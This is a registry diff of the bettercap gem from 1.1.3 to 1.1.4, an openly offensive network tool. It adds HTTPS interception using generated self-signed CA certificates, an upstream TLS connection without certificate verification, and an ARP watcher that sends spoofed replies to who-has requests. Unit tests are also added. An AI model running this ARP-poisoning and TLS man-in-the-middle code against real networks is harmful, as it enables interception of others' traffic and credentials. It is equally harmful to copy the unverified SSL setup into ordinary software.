bettercap 1.1.3 → 1.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/CONTRIBUTING.md +42 -0
- data/Gemfile +2 -0
- data/Gemfile.lock +25 -0
- data/README.md +1 -1
- data/Rakefile +7 -0
- data/TODO.md +2 -2
- data/bettercap.gemspec +2 -0
- data/bin/bettercap +48 -43
- data/lib/bettercap/context.rb +125 -20
- data/lib/bettercap/factories/firewall_factory.rb +4 -0
- data/lib/bettercap/factories/parser_factory.rb +2 -0
- data/lib/bettercap/firewalls/linux.rb +16 -10
- data/lib/bettercap/firewalls/osx.rb +19 -8
- data/lib/bettercap/logger.rb +2 -0
- data/lib/bettercap/network.rb +10 -4
- data/lib/bettercap/proxy/certstore.rb +68 -0
- data/lib/bettercap/proxy/proxy.rb +87 -43
- data/lib/bettercap/proxy/request.rb +22 -4
- data/lib/bettercap/proxy/response.rb +15 -0
- data/lib/bettercap/sniffer/sniffer.rb +22 -24
- data/lib/bettercap/spoofers/arp.rb +38 -6
- data/lib/bettercap/target.rb +1 -1
- data/lib/bettercap/version.rb +1 -1
- data/lib/bettercap.rb +1 -0
- data/test/factories/firewall_factory_test.rb +54 -0
- data/test/factories/parser_factory_test.rb +36 -0
- data/test/factories/spoofer_factory_test.rb +15 -0
- data/test/firewalls/linux_firewall_test.rb +72 -0
- data/test/firewalls/osx_firewall_test.rb +72 -0
- data/test/helpers/mock_shell.rb +17 -0
- data/test/logger_test.rb +12 -0
- data/test/network_test.rb +14 -0
- data/test/pcap/ftp.pcap +0 -0
- data/test/pcap/http.pcap +0 -0
- data/test/pcap/packets.pcap +0 -0
- data/test/proxy/response_test.rb +56 -0
- data/test/shell_test.rb +15 -0
- data/test/sniffer/parsers/base_parser_test.rb +20 -0
- data/test/sniffer/parsers/ftp_parser_test.rb +27 -0
- data/test/sniffer/parsers/url_parser_test.rb +25 -0
- data/test/target_test.rb +24 -0
- data/test/test_helper.rb +47 -0
- data/test_https_proxy.rb +29 -0
- metadata +40 -2
@@ -0,0 +1,68 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
require 'bettercap/logger'
|
13
|
+
require 'openssl'
|
14
|
+
|
15
|
+
module Proxy
|
16
|
+
class CertStore
|
17
|
+
@@selfsigned = {}
|
18
|
+
@@frompems = {}
|
19
|
+
|
20
|
+
def self.from_file( filename )
|
21
|
+
if !@@frompems.has_key? filename
|
22
|
+
Logger.info "Loading self signed HTTPS certificate from '#{filename}' ..."
|
23
|
+
|
24
|
+
pem = File.read filename
|
25
|
+
|
26
|
+
@@frompems[filename] = { :cert => OpenSSL::X509::Certificate.new(pem), :key => OpenSSL::PKey::RSA.new(pem) }
|
27
|
+
end
|
28
|
+
|
29
|
+
@@frompems[filename]
|
30
|
+
end
|
31
|
+
|
32
|
+
# TODO: Put a better default subject here!
|
33
|
+
def self.get_selfsigned( subject = '/C=BE/O=Test/OU=Test/CN=Test' )
|
34
|
+
if !@@selfsigned.has_key? subject
|
35
|
+
Logger.info "Generating self signed HTTPS certificate for subject '#{subject}' ..."
|
36
|
+
|
37
|
+
key = OpenSSL::PKey::RSA.new(2048)
|
38
|
+
public_key = key.public_key
|
39
|
+
|
40
|
+
cert = OpenSSL::X509::Certificate.new
|
41
|
+
cert.subject = cert.issuer = OpenSSL::X509::Name.parse(subject)
|
42
|
+
cert.not_before = Time.now
|
43
|
+
cert.not_after = Time.now + 365 * 24 * 60 * 60
|
44
|
+
cert.public_key = public_key
|
45
|
+
cert.serial = 0x0
|
46
|
+
cert.version = 2
|
47
|
+
|
48
|
+
ef = OpenSSL::X509::ExtensionFactory.new
|
49
|
+
ef.subject_certificate = cert
|
50
|
+
ef.issuer_certificate = cert
|
51
|
+
cert.extensions = [
|
52
|
+
ef.create_extension("basicConstraints","CA:TRUE", true),
|
53
|
+
ef.create_extension("subjectKeyIdentifier", "hash"),
|
54
|
+
ef.create_extension("keyUsage", "cRLSign,keyCertSign", true),
|
55
|
+
]
|
56
|
+
cert.add_extension ef.create_extension("authorityKeyIdentifier",
|
57
|
+
"keyid:always,issuer:always")
|
58
|
+
|
59
|
+
cert.sign key, OpenSSL::Digest::SHA256.new
|
60
|
+
|
61
|
+
@@selfsigned[subject] = { :cert => cert, :key => key }
|
62
|
+
end
|
63
|
+
|
64
|
+
@@selfsigned[subject]
|
65
|
+
end
|
66
|
+
end
|
67
|
+
|
68
|
+
end
|
@@ -19,10 +19,14 @@ require 'bettercap/network'
|
|
19
19
|
module Proxy
|
20
20
|
|
21
21
|
class Proxy
|
22
|
-
def initialize address, port,
|
22
|
+
def initialize( address, port, is_https, processor )
|
23
23
|
@socket = nil
|
24
24
|
@address = address
|
25
25
|
@port = port
|
26
|
+
@is_https = is_https
|
27
|
+
@type = is_https ? 'HTTPS' : 'HTTP'
|
28
|
+
@sslserver = nil
|
29
|
+
@sslcontext = nil
|
26
30
|
@main_thread = nil
|
27
31
|
@running = false
|
28
32
|
@processor = processor
|
@@ -31,7 +35,7 @@ class Proxy
|
|
31
35
|
begin
|
32
36
|
@local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
|
33
37
|
rescue
|
34
|
-
|
38
|
+
Logger.warn 'Could not get local ips using Socket module, using Network.get_local_ips method.'
|
35
39
|
|
36
40
|
@local_ips = Network.get_local_ips
|
37
41
|
end
|
@@ -40,16 +44,27 @@ class Proxy
|
|
40
44
|
def start
|
41
45
|
begin
|
42
46
|
@socket = TCPServer.new( @address, @port )
|
47
|
+
|
48
|
+
if @is_https
|
49
|
+
cert = Context.get.certificate
|
50
|
+
|
51
|
+
@sslcontext = OpenSSL::SSL::SSLContext.new
|
52
|
+
@sslcontext.cert = cert[:cert]
|
53
|
+
@sslcontext.key = cert[:key]
|
54
|
+
|
55
|
+
@sslserver = OpenSSL::SSL::SSLServer.new( @socket, @sslcontext )
|
56
|
+
end
|
57
|
+
|
43
58
|
@main_thread = Thread.new &method(:server_thread)
|
44
59
|
rescue Exception => e
|
45
|
-
Logger.error "Error starting proxy: #{e.inspect}"
|
60
|
+
Logger.error "Error starting #{@type} proxy: #{e.inspect}"
|
46
61
|
@socket.close unless @socket.nil?
|
47
62
|
end
|
48
63
|
end
|
49
64
|
|
50
65
|
def stop
|
51
66
|
begin
|
52
|
-
Logger.info
|
67
|
+
Logger.info "Stopping #{@type} proxy ..."
|
53
68
|
|
54
69
|
if @socket and @running
|
55
70
|
@running = false
|
@@ -61,25 +76,37 @@ class Proxy
|
|
61
76
|
|
62
77
|
private
|
63
78
|
|
79
|
+
def async_accept
|
80
|
+
if @is_https
|
81
|
+
begin
|
82
|
+
Thread.new @sslserver.accept, &method(:client_thread)
|
83
|
+
rescue Exception => e
|
84
|
+
Logger.warn "Error while accepting #{@type} connection: #{e.inspect}"
|
85
|
+
end
|
86
|
+
else
|
87
|
+
Thread.new @socket.accept, &method(:client_thread)
|
88
|
+
end
|
89
|
+
end
|
90
|
+
|
64
91
|
def server_thread
|
65
|
-
Logger.info "Proxy started on #{@address}:#{@port} ...\n"
|
92
|
+
Logger.info "#{@type} Proxy started on #{@address}:#{@port} ...\n"
|
66
93
|
|
67
94
|
@running = true
|
68
95
|
|
69
96
|
begin
|
70
97
|
while @running do
|
71
|
-
|
98
|
+
async_accept
|
72
99
|
end
|
73
100
|
rescue Exception => e
|
74
101
|
if @running
|
75
|
-
Logger.
|
102
|
+
Logger.error "Error while accepting #{@type} connection: #{e.inspect}"
|
76
103
|
end
|
77
104
|
ensure
|
78
105
|
@socket.close unless @socket.nil?
|
79
106
|
end
|
80
107
|
end
|
81
108
|
|
82
|
-
def binary_streaming from, to, opts = {}
|
109
|
+
def binary_streaming( from, to, opts = {} )
|
83
110
|
|
84
111
|
total_size = 0
|
85
112
|
|
@@ -125,8 +152,8 @@ class Proxy
|
|
125
152
|
end
|
126
153
|
end
|
127
154
|
|
128
|
-
def html_streaming request, response, from, to
|
129
|
-
buff =
|
155
|
+
def html_streaming( request, response, from, to )
|
156
|
+
buff = ''
|
130
157
|
loop do
|
131
158
|
from.read 1024, buff
|
132
159
|
|
@@ -141,12 +168,12 @@ class Proxy
|
|
141
168
|
to.write response.to_s
|
142
169
|
end
|
143
170
|
|
144
|
-
def log_stream client, request, response
|
171
|
+
def log_stream( client, request, response )
|
145
172
|
client_s = "[#{client}]"
|
146
173
|
verb_s = request.verb
|
147
|
-
request_s = "http://#{request.host}#{request.url}"
|
174
|
+
request_s = "#{@is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
|
148
175
|
response_s = "( #{response.content_type} )"
|
149
|
-
request_s = request_s.slice(0..50) +
|
176
|
+
request_s = request_s.slice(0..50) + '...' unless request_s.length <= 50
|
150
177
|
|
151
178
|
verb_s = verb_s.light_blue
|
152
179
|
|
@@ -165,36 +192,56 @@ class Proxy
|
|
165
192
|
Logger.write "#{client_s} #{verb_s} #{request_s} #{response_s}"
|
166
193
|
end
|
167
194
|
|
168
|
-
def is_self_request?
|
195
|
+
def is_self_request?(request)
|
169
196
|
@local_ips.include? IPSocket.getaddress(request.host)
|
170
197
|
end
|
171
198
|
|
172
|
-
def rickroll_lamer
|
199
|
+
def rickroll_lamer(client)
|
173
200
|
client.write "HTTP/1.1 302 Found\n"
|
174
201
|
client.write "Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n\n"
|
175
202
|
end
|
176
203
|
|
177
|
-
def
|
178
|
-
|
179
|
-
|
204
|
+
def create_upstream_connection( request )
|
205
|
+
if @is_https
|
206
|
+
sock = TCPSocket.new( request.host, request.port )
|
180
207
|
|
181
|
-
|
182
|
-
request = Request.new
|
208
|
+
ctx = OpenSSL::SSL::SSLContext.new
|
183
209
|
|
184
|
-
|
185
|
-
# read the first line
|
186
|
-
request << client.readline
|
187
|
-
|
188
|
-
loop do
|
189
|
-
line = client.readline
|
190
|
-
request << line
|
210
|
+
# do we need this? :P ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_PEER)
|
191
211
|
|
192
|
-
|
193
|
-
|
194
|
-
|
212
|
+
socket = OpenSSL::SSL::SSLSocket.new(sock, ctx).tap do |socket|
|
213
|
+
socket.sync_close = true
|
214
|
+
socket.connect
|
195
215
|
end
|
196
216
|
|
197
|
-
|
217
|
+
socket
|
218
|
+
else
|
219
|
+
TCPSocket.new( request.host, request.port )
|
220
|
+
end
|
221
|
+
end
|
222
|
+
|
223
|
+
def get_client_details( client )
|
224
|
+
if !@is_https
|
225
|
+
client_port, client_ip = Socket.unpack_sockaddr_in(client.getpeername)
|
226
|
+
else
|
227
|
+
_, client_port, _, client_ip = client.peeraddr
|
228
|
+
end
|
229
|
+
|
230
|
+
[ client_ip, client_port ]
|
231
|
+
end
|
232
|
+
|
233
|
+
def client_thread( client )
|
234
|
+
client_ip, client_port = get_client_details client
|
235
|
+
|
236
|
+
Logger.debug "New #{@type} connection from #{client_ip}:#{client_port}"
|
237
|
+
|
238
|
+
server = nil
|
239
|
+
request = Request.new @is_https ? 443 : 80
|
240
|
+
|
241
|
+
begin
|
242
|
+
Logger.debug 'Reading request ...'
|
243
|
+
|
244
|
+
request.read client
|
198
245
|
|
199
246
|
# someone is having fun with us =)
|
200
247
|
if is_self_request? request
|
@@ -203,9 +250,15 @@ class Proxy
|
|
203
250
|
|
204
251
|
rickroll_lamer client
|
205
252
|
|
253
|
+
elsif request.verb == 'CONNECT'
|
254
|
+
|
255
|
+
Logger.error "You're using bettercap as a normal HTTP(S) proxy, it wasn't designed to handle CONNECT requests:\n\n#{request.to_s}"
|
256
|
+
|
206
257
|
else
|
207
258
|
|
208
|
-
|
259
|
+
Logger.debug 'Creating upstream connection ...'
|
260
|
+
|
261
|
+
server = create_upstream_connection request
|
209
262
|
|
210
263
|
server.write request.to_s
|
211
264
|
|
@@ -218,16 +271,7 @@ class Proxy
|
|
218
271
|
|
219
272
|
Logger.debug 'Reading response ...'
|
220
273
|
|
221
|
-
response = Response.
|
222
|
-
|
223
|
-
# read all response headers
|
224
|
-
loop do
|
225
|
-
line = server.readline
|
226
|
-
|
227
|
-
response << line
|
228
|
-
|
229
|
-
break unless not response.headers_done
|
230
|
-
end
|
274
|
+
response = Response.from_socket server
|
231
275
|
|
232
276
|
if response.textual?
|
233
277
|
log_stream client_ip, request, response
|
@@ -243,7 +287,7 @@ class Proxy
|
|
243
287
|
binary_streaming server, client, response: response
|
244
288
|
end
|
245
289
|
|
246
|
-
Logger.debug "#{
|
290
|
+
Logger.debug "#{@type} client served."
|
247
291
|
end
|
248
292
|
|
249
293
|
rescue Exception => e
|
@@ -15,18 +15,36 @@ module Proxy
|
|
15
15
|
class Request
|
16
16
|
attr_reader :lines, :verb, :url, :host, :port, :content_length
|
17
17
|
|
18
|
-
def initialize
|
18
|
+
def initialize( default_port = 80 )
|
19
19
|
@lines = []
|
20
20
|
@verb = nil
|
21
21
|
@url = nil
|
22
22
|
@host = nil
|
23
|
-
@port =
|
23
|
+
@port = default_port
|
24
24
|
@content_length = 0
|
25
25
|
end
|
26
26
|
|
27
|
+
def read(sock)
|
28
|
+
# read the first line
|
29
|
+
self << sock.readline
|
30
|
+
|
31
|
+
loop do
|
32
|
+
line = sock.readline
|
33
|
+
self << line
|
34
|
+
|
35
|
+
if line.chomp == ''
|
36
|
+
break
|
37
|
+
end
|
38
|
+
end
|
39
|
+
|
40
|
+
raise "Couldn't extract host from the request." unless @host
|
41
|
+
end
|
42
|
+
|
27
43
|
def <<(line)
|
28
44
|
line = line.chomp
|
29
45
|
|
46
|
+
Logger.debug " REQUEST LINE: '#{line}'"
|
47
|
+
|
30
48
|
# is this the first line '<VERB> <URI> HTTP/<VERSION>' ?
|
31
49
|
if @url.nil? and line =~ /^(\w+)\s+(\S+)\s+HTTP\/[\d\.]+\s*$/
|
32
50
|
@verb = $1
|
@@ -35,13 +53,13 @@ class Request
|
|
35
53
|
# fix url
|
36
54
|
if @url.include? '://'
|
37
55
|
uri = URI::parse @url
|
38
|
-
@url = "#{uri.path}" + ( uri.query ? "?#{uri.query}" :
|
56
|
+
@url = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' )
|
39
57
|
end
|
40
58
|
|
41
59
|
line = "#{@verb} #{url} HTTP/1.0"
|
42
60
|
|
43
61
|
# get the host header value
|
44
|
-
elsif line =~ /^Host
|
62
|
+
elsif line =~ /^Host:\s*(.*)$/
|
45
63
|
@host = $1
|
46
64
|
if host =~ /([^:]*):([0-9]*)$/
|
47
65
|
@host = $1
|
@@ -25,6 +25,21 @@ class Response
|
|
25
25
|
@headers_done = false
|
26
26
|
end
|
27
27
|
|
28
|
+
def self.from_socket(sock)
|
29
|
+
response = Response.new
|
30
|
+
|
31
|
+
# read all response headers
|
32
|
+
loop do
|
33
|
+
line = sock.readline
|
34
|
+
|
35
|
+
response << line
|
36
|
+
|
37
|
+
break unless not response.headers_done
|
38
|
+
end
|
39
|
+
|
40
|
+
response
|
41
|
+
end
|
42
|
+
|
28
43
|
def <<(line)
|
29
44
|
# we already parsed the heders, collect response body
|
30
45
|
if @headers_done
|
@@ -28,40 +28,38 @@ class Sniffer
|
|
28
28
|
setup( ctx )
|
29
29
|
|
30
30
|
@@cap.stream.each do |p|
|
31
|
-
|
32
|
-
|
31
|
+
begin
|
32
|
+
parsed = Packet.parse p
|
33
|
+
rescue Exception => e
|
34
|
+
parsed = nil
|
35
|
+
Logger.debug e.message
|
36
|
+
end
|
37
|
+
|
38
|
+
if not parsed.nil? and parsed.is_ip? and !skip_packet?(parsed)
|
39
|
+
append_packet p
|
40
|
+
parse_packet parsed
|
41
|
+
end
|
33
42
|
end
|
34
43
|
end
|
35
44
|
|
36
45
|
private
|
37
46
|
|
38
|
-
def self.
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
Logger.debug e.message
|
44
|
-
end
|
47
|
+
def self.skip_packet?( pkt )
|
48
|
+
!@@ctx.options[:local] and
|
49
|
+
( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
|
50
|
+
pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
|
51
|
+
end
|
45
52
|
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
Logger.warn e.message
|
53
|
-
end
|
54
|
-
end
|
53
|
+
def self.parse_packet( parsed )
|
54
|
+
@@parsers.each do |parser|
|
55
|
+
begin
|
56
|
+
parser.on_packet parsed
|
57
|
+
rescue Exception => e
|
58
|
+
Logger.warn e.message
|
55
59
|
end
|
56
60
|
end
|
57
61
|
end
|
58
62
|
|
59
|
-
def self.skip_packet?( pkt )
|
60
|
-
!@@ctx.options[:local] and
|
61
|
-
( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
|
62
|
-
pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
|
63
|
-
end
|
64
|
-
|
65
63
|
def self.append_packet( p )
|
66
64
|
begin
|
67
65
|
@@pcap.array_to_file(
|
@@ -22,6 +22,8 @@ class ArpSpoofer < ISpoofer
|
|
22
22
|
@gw_hw = nil
|
23
23
|
@forwarding = @ctx.firewall.forwarding_enabled?
|
24
24
|
@spoof_thread = nil
|
25
|
+
@sniff_thread = nil
|
26
|
+
@capture = nil
|
25
27
|
@running = false
|
26
28
|
|
27
29
|
Logger.debug 'ARP SPOOFER SELECTED'
|
@@ -35,7 +37,7 @@ class ArpSpoofer < ISpoofer
|
|
35
37
|
Logger.info " Gateway : #{@ctx.gateway} ( #{@gw_hw} )"
|
36
38
|
end
|
37
39
|
|
38
|
-
def
|
40
|
+
def send_spoofed_packet( saddr, smac, daddr, dmac )
|
39
41
|
pkt = PacketFu::ARPPacket.new
|
40
42
|
pkt.eth_saddr = smac
|
41
43
|
pkt.eth_daddr = dmac
|
@@ -51,7 +53,7 @@ class ArpSpoofer < ISpoofer
|
|
51
53
|
def start
|
52
54
|
stop() unless @running == false
|
53
55
|
|
54
|
-
Logger.info
|
56
|
+
Logger.info "Starting ARP spoofer ( #{@ctx.options[:half_duplex] ? 'Half' : 'Full'} Duplex ) ..."
|
55
57
|
|
56
58
|
if @forwarding == false
|
57
59
|
Logger.debug 'Enabling packet forwarding.'
|
@@ -60,6 +62,36 @@ class ArpSpoofer < ISpoofer
|
|
60
62
|
end
|
61
63
|
|
62
64
|
@running = true
|
65
|
+
@sniff_thread = Thread.new do
|
66
|
+
Logger.info 'ARP watcher started ...'
|
67
|
+
begin
|
68
|
+
@capture = PacketFu::Capture.new(
|
69
|
+
iface: @ctx.options[:iface],
|
70
|
+
filter: 'arp',
|
71
|
+
start: true
|
72
|
+
)
|
73
|
+
rescue Exception => e
|
74
|
+
Logger.error e.message
|
75
|
+
end
|
76
|
+
@capture.stream.each do |p|
|
77
|
+
begin
|
78
|
+
pkt = PacketFu::Packet.parse p
|
79
|
+
# we're only interested in 'who-has' packets
|
80
|
+
if pkt.arp_opcode == 1 and pkt.arp_dst_mac.to_s == '00:00:00:00:00:00'
|
81
|
+
is_from_us = ( pkt.arp_src_ip.to_s == @ctx.ifconfig[:ip_saddr] )
|
82
|
+
|
83
|
+
if !is_from_us
|
84
|
+
Logger.info "[ARP] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is."
|
85
|
+
|
86
|
+
send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.ifconfig[:eth_saddr], pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s
|
87
|
+
end
|
88
|
+
end
|
89
|
+
rescue Exception => e
|
90
|
+
Logger.error e.message
|
91
|
+
end
|
92
|
+
end
|
93
|
+
end
|
94
|
+
|
63
95
|
@spoof_thread = Thread.new do
|
64
96
|
prev_size = @ctx.targets.size
|
65
97
|
loop do
|
@@ -95,8 +127,8 @@ class ArpSpoofer < ISpoofer
|
|
95
127
|
end
|
96
128
|
end
|
97
129
|
|
98
|
-
|
99
|
-
|
130
|
+
send_spoofed_packet( @ctx.gateway, @ctx.ifconfig[:eth_saddr], target.ip, target.mac )
|
131
|
+
send_spoofed_packet( target.ip, @ctx.ifconfig[:eth_saddr], @ctx.gateway, @gw_hw ) unless @ctx.options[:half_duplex]
|
100
132
|
end
|
101
133
|
|
102
134
|
prev_size = @ctx.targets.size
|
@@ -121,8 +153,8 @@ class ArpSpoofer < ISpoofer
|
|
121
153
|
|
122
154
|
@ctx.targets.each do |target|
|
123
155
|
if !target.mac.nil?
|
124
|
-
|
125
|
-
|
156
|
+
send_spoofed_packet( @ctx.gateway, @gw_hw, target.ip, target.mac )
|
157
|
+
send_spoofed_packet( target.ip, target.mac, @ctx.gateway, @gw_hw ) unless @ctx.options[:half_duplex]
|
126
158
|
end
|
127
159
|
end
|
128
160
|
sleep 1
|
data/lib/bettercap/target.rb
CHANGED
data/lib/bettercap/version.rb
CHANGED
data/lib/bettercap.rb
CHANGED
@@ -0,0 +1,54 @@
|
|
1
|
+
require 'minitest/autorun'
|
2
|
+
require 'factories/firewall_factory'
|
3
|
+
|
4
|
+
class FirewallFactoryTest < MiniTest::Test
|
5
|
+
# TODO: Fix the tests for the Mac and Linux firewall initialization. Right now
|
6
|
+
# they are being created in a way which executes a shell command, causing
|
7
|
+
# tests to fail.
|
8
|
+
|
9
|
+
# def test_mac_firewall
|
10
|
+
# FirewallFactory.clear_firewall
|
11
|
+
#
|
12
|
+
# override_ruby_platform('darwin') do
|
13
|
+
# firewall = FirewallFactory.get_firewall
|
14
|
+
# assert_equal firewall.class, OSXFirewall
|
15
|
+
# end
|
16
|
+
# end
|
17
|
+
|
18
|
+
# def test_linux_firewall
|
19
|
+
# FirewallFactory.clear_firewall
|
20
|
+
#
|
21
|
+
# override_ruby_platform('linux') do
|
22
|
+
# firewall = FirewallFactory.get_firewall
|
23
|
+
# assert_equal firewall.class, LinuxFirewall
|
24
|
+
# end
|
25
|
+
# end
|
26
|
+
|
27
|
+
def test_unknown_firewall
|
28
|
+
FirewallFactory.clear_firewall
|
29
|
+
|
30
|
+
override_ruby_platform('ms') do
|
31
|
+
assert_raises BetterCap::Error do
|
32
|
+
FirewallFactory.get_firewall
|
33
|
+
end
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
private
|
38
|
+
|
39
|
+
def override_ruby_platform(platform)
|
40
|
+
actual_platform = RUBY_PLATFORM
|
41
|
+
|
42
|
+
begin
|
43
|
+
redefine_const :RUBY_PLATFORM, platform
|
44
|
+
yield
|
45
|
+
ensure
|
46
|
+
redefine_const :RUBY_PLATFORM, actual_platform
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
def redefine_const(const, value)
|
51
|
+
Object.send(:remove_const, const) if Object.const_defined?(const)
|
52
|
+
Object.const_set(const, value)
|
53
|
+
end
|
54
|
+
end
|
@@ -0,0 +1,36 @@
|
|
1
|
+
require 'minitest/autorun'
|
2
|
+
require 'factories/parser_factory'
|
3
|
+
|
4
|
+
class ParserFactoryTest < MiniTest::Test
|
5
|
+
def test_getting_available_parsers
|
6
|
+
available_parsers = ParserFactory.available
|
7
|
+
assert available_parsers.include?('FTP')
|
8
|
+
end
|
9
|
+
|
10
|
+
def test_successful_cmdline_parser_name
|
11
|
+
parsers = ParserFactory.from_cmdline('ftp,https')
|
12
|
+
assert_equal parsers, ['FTP', 'HTTPS']
|
13
|
+
end
|
14
|
+
|
15
|
+
def test_failed_cmdline_parser_name
|
16
|
+
assert_raises BetterCap::Error do
|
17
|
+
ParserFactory.from_cmdline 'unknown'
|
18
|
+
end
|
19
|
+
end
|
20
|
+
|
21
|
+
def test_no_cmdline_parser_provided
|
22
|
+
assert_raises BetterCap::Error do
|
23
|
+
ParserFactory.from_cmdline nil
|
24
|
+
end
|
25
|
+
end
|
26
|
+
|
27
|
+
def test_successfully_loading_parsers
|
28
|
+
loaded = ParserFactory.load_by_names 'FTP'
|
29
|
+
assert_equal loaded.first.class, FtpParser
|
30
|
+
end
|
31
|
+
|
32
|
+
def test_unsuccessfully_loading_parsers
|
33
|
+
loaded = ParserFactory.load_by_names 'unknown'
|
34
|
+
assert_empty loaded
|
35
|
+
end
|
36
|
+
end
|
@@ -0,0 +1,15 @@
|
|
1
|
+
require 'minitest/autorun'
|
2
|
+
require 'factories/spoofer_factory'
|
3
|
+
|
4
|
+
class SpooferFactoryTest < MiniTest::Test
|
5
|
+
def test_getting_available_parsers
|
6
|
+
spoofers = SpooferFactory.available
|
7
|
+
assert spoofers.include?('ARP')
|
8
|
+
end
|
9
|
+
|
10
|
+
def test_unsuccessful_name
|
11
|
+
assert_raises BetterCap::Error do
|
12
|
+
SpooferFactory.get_by_name 'unknown'
|
13
|
+
end
|
14
|
+
end
|
15
|
+
end
|